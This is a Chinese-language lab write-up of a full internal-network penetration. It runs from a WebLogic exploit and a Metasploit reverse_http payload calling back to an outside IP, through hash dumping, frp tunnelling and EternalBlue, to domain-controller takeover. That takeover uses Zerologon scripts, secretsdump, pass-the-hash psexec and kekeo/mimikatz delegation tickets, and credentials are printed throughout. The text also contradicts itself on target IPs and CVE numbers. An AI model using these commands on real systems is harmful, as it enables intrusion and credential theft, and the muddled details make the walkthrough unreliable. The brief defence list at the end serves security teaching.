记一次完整的内网渗透实操
字数 2261 2025-09-01 11:26:17

内网渗透实战教学文档

一、环境搭建

本次内网靶场环境包含多种关键角色的机器,具体配置如下:

  • Web服务器

    • 外网IP:192.168.3.80
    • 内网IP:10.10.10.80
    • 角色:承担对外提供服务与内网数据交互
  • 域内机器Win7

    • 外网IP:192.168.3.201
    • 内网IP:10.10.10.201
    • 角色:域内普通客户端
  • 域内服务器Mssql

    • 仅内网IP:10.10.10.80
    • 角色:数据库相关服务
  • 域控机器

    • 内网IP:10.10.10.10
    • 角色:整个域环境的核心管理设备

二、外网渗透

1. 端口扫描与目录扫描

  1. 使用专业扫描工具对目标192.168.0.100进行端口扫描探测
  2. 发现开放7001端口(Weblogic默认端口)
  3. 执行目录扫描,探测到Weblogic登录口

2. Weblogic漏洞利用

  1. 尝试常见弱口令登录失败
  2. 使用Weblogic漏洞利用工具检测
  3. 发现存在CVE-2020-2551漏洞(远程代码执行)
  4. 漏洞利用步骤:
    • 使用Metasploit搜索相关漏洞模块:search CVE-2019-2725
    • 选择本地payload注入模块:use exploit/windows/local/payload_inject
    • 设置payload类型:set payload windows/meterpreter/reverse_http
    • 设置监听主机和端口:set LHOST 103.234.72.5set LPORT 84
    • 指定会话:set session 2
    • 禁止产生新handler:set DisablePayloadHandler true

3. 出网探测与杀软识别

  1. 出网探测:ping www.baidu.com(确认目标能出网)
  2. 杀软识别:tasklist /svc(确认无杀毒软件)

4. 获取Shell与反弹

  1. 利用MSF获取目标shell
  2. 反弹至Cobalt Strike
  3. 确认获取到meterpreter会话

三、提权上线与内网渗透

1. 信息搜集与密码凭据抓取

  1. 发现双网卡配置(内外网并存)
  2. 使用hashdump抓取密码:
    • 获取hash值:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    • 通过cmd5网站解密得到明文密码:1qaz@wsx

2. 横向移动

  1. 上传fscan工具扫描10网段
    • 发现10.10.20.7存在MS17-010漏洞
  2. 使用CS自带的portscan进行扫描
  3. 尝试使用mimikatz获取域管密码

3. 隧道搭建与攻击

  1. 上传frp搭建隧道代理
    • 配置frpc和frps
  2. 修改proxychains.conf:
    • socks5 127.0.0.1 1080
  3. 使用proxychains启动msf:
    • proxychains msfconsole
  4. 调用永恒之蓝模块:
    • use exploit/windows/smb/ms17_010_eternalblue
    • 成功获取目标shell

4. 中转上线与内网扫描

  1. 以跳板机作为中转,新建监听器
  2. 使用psexec进行上线操作
  3. 内网扫描发现存活主机:
    • 10.10.10.8
    • 10.10.10.18
  4. 确认域环境:
    • net user /domain
  5. 定位域控:
    • net group "domain controllers" /domain
    • 通常DNS服务器即为域控

四、域控攻击

1. CVE-2020-1472漏洞利用

受影响系统版本

  • Windows Server 2008 R2 SP1
  • Windows Server 2012/2012 R2
  • Windows Server 2016/2019
  • Windows Server version 1903/1909/2004

利用步骤

  1. 重置管理员密钥置空:

    python3 cve-2020-1472-exploit.py OWA 10.10.10.8
    
  2. 通过Dcsync查看密码hash:

    python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass
    
  3. 通过psexec和hash获取shell:

    python psexec.py administrator@10.10.10.8 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
    
  4. 使用secretsdump解析本地nt hash

  5. 恢复原始nt hash:

    python reinstall_original_pw.py OWA 10.10.10.8 8623dc75ede3ca9ec11f2475b12ef96d
    

2. 约束委派接管域控

  1. 使用AdFind寻找约束委派用户:

    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    
  2. 发现sqlserver机器(10.10.10.18)

  3. 使用fscan扫描发现sqlserver弱口令:sa/sa

  4. 使用SharpSQLTools查看权限:

    SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami
    
  5. 上线CS并抓取sqlserver密码:redteam\sqlserver:Server12345

  6. 利用kekeo和mimikatz接管域控:

    (1) 请求TGT:

    kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"
    

    (2) 获取域机器ST:

    kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"
    

    (3) 使用mimikatz导入ST:

    mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
    
  7. 成功获取域控权限

五、关键工具总结

  1. 扫描工具

    • fscan:内网扫描
    • portscan:Cobalt Strike内置扫描
  2. 漏洞利用工具

    • Metasploit Framework
    • CVE-2020-1472利用脚本
    • EternalBlue利用模块
  3. 横向移动工具

    • psexec
    • mimikatz
    • SharpSQLTools
  4. 域渗透工具

    • AdFind
    • kekeo
    • secretsdump
  5. 隧道工具

    • frp
    • proxychains

六、防御建议

  1. 及时修补已知漏洞(如CVE-2020-1472、MS17-010)
  2. 禁用不必要的服务端口
  3. 加强密码策略,避免弱口令
  4. 限制约束委派配置
  5. 部署终端防护和EDR解决方案
  6. 监控异常网络流量和登录行为
  7. 定期进行安全审计和渗透测试
内网渗透实战教学文档 一、环境搭建 本次内网靶场环境包含多种关键角色的机器,具体配置如下: Web服务器 : 外网IP:192.168.3.80 内网IP:10.10.10.80 角色:承担对外提供服务与内网数据交互 域内机器Win7 : 外网IP:192.168.3.201 内网IP:10.10.10.201 角色:域内普通客户端 域内服务器Mssql : 仅内网IP:10.10.10.80 角色:数据库相关服务 域控机器 : 内网IP:10.10.10.10 角色:整个域环境的核心管理设备 二、外网渗透 1. 端口扫描与目录扫描 使用专业扫描工具对目标192.168.0.100进行端口扫描探测 发现开放7001端口(Weblogic默认端口) 执行目录扫描,探测到Weblogic登录口 2. Weblogic漏洞利用 尝试常见弱口令登录失败 使用Weblogic漏洞利用工具检测 发现存在CVE-2020-2551漏洞(远程代码执行) 漏洞利用步骤: 使用Metasploit搜索相关漏洞模块: search CVE-2019-2725 选择本地payload注入模块: use exploit/windows/local/payload_inject 设置payload类型: set payload windows/meterpreter/reverse_http 设置监听主机和端口: set LHOST 103.234.72.5 , set LPORT 84 指定会话: set session 2 禁止产生新handler: set DisablePayloadHandler true 3. 出网探测与杀软识别 出网探测: ping www.baidu.com (确认目标能出网) 杀软识别: tasklist /svc (确认无杀毒软件) 4. 获取Shell与反弹 利用MSF获取目标shell 反弹至Cobalt Strike 确认获取到meterpreter会话 三、提权上线与内网渗透 1. 信息搜集与密码凭据抓取 发现双网卡配置(内外网并存) 使用 hashdump 抓取密码: 获取hash值: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 通过cmd5网站解密得到明文密码: 1qaz@wsx 2. 横向移动 上传fscan工具扫描10网段 发现10.10.20.7存在MS17-010漏洞 使用CS自带的portscan进行扫描 尝试使用mimikatz获取域管密码 3. 隧道搭建与攻击 上传frp搭建隧道代理 配置frpc和frps 修改proxychains.conf: socks5 127.0.0.1 1080 使用proxychains启动msf: proxychains msfconsole 调用永恒之蓝模块: use exploit/windows/smb/ms17_010_eternalblue 成功获取目标shell 4. 中转上线与内网扫描 以跳板机作为中转,新建监听器 使用psexec进行上线操作 内网扫描发现存活主机: 10.10.10.8 10.10.10.18 确认域环境: net user /domain 定位域控: net group "domain controllers" /domain 通常DNS服务器即为域控 四、域控攻击 1. CVE-2020-1472漏洞利用 受影响系统版本 : Windows Server 2008 R2 SP1 Windows Server 2012/2012 R2 Windows Server 2016/2019 Windows Server version 1903/1909/2004 利用步骤 : 重置管理员密钥置空: 通过Dcsync查看密码hash: 通过psexec和hash获取shell: 使用secretsdump解析本地nt hash 恢复原始nt hash: 2. 约束委派接管域控 使用AdFind寻找约束委派用户: 发现sqlserver机器(10.10.10.18) 使用fscan扫描发现sqlserver弱口令:sa/sa 使用SharpSQLTools查看权限: 上线CS并抓取sqlserver密码: redteam\sqlserver:Server12345 利用kekeo和mimikatz接管域控: (1) 请求TGT: (2) 获取域机器ST: (3) 使用mimikatz导入ST: 成功获取域控权限 五、关键工具总结 扫描工具 : fscan:内网扫描 portscan:Cobalt Strike内置扫描 漏洞利用工具 : Metasploit Framework CVE-2020-1472利用脚本 EternalBlue利用模块 横向移动工具 : psexec mimikatz SharpSQLTools 域渗透工具 : AdFind kekeo secretsdump 隧道工具 : frp proxychains 六、防御建议 及时修补已知漏洞(如CVE-2020-1472、MS17-010) 禁用不必要的服务端口 加强密码策略,避免弱口令 限制约束委派配置 部署终端防护和EDR解决方案 监控异常网络流量和登录行为 定期进行安全审计和渗透测试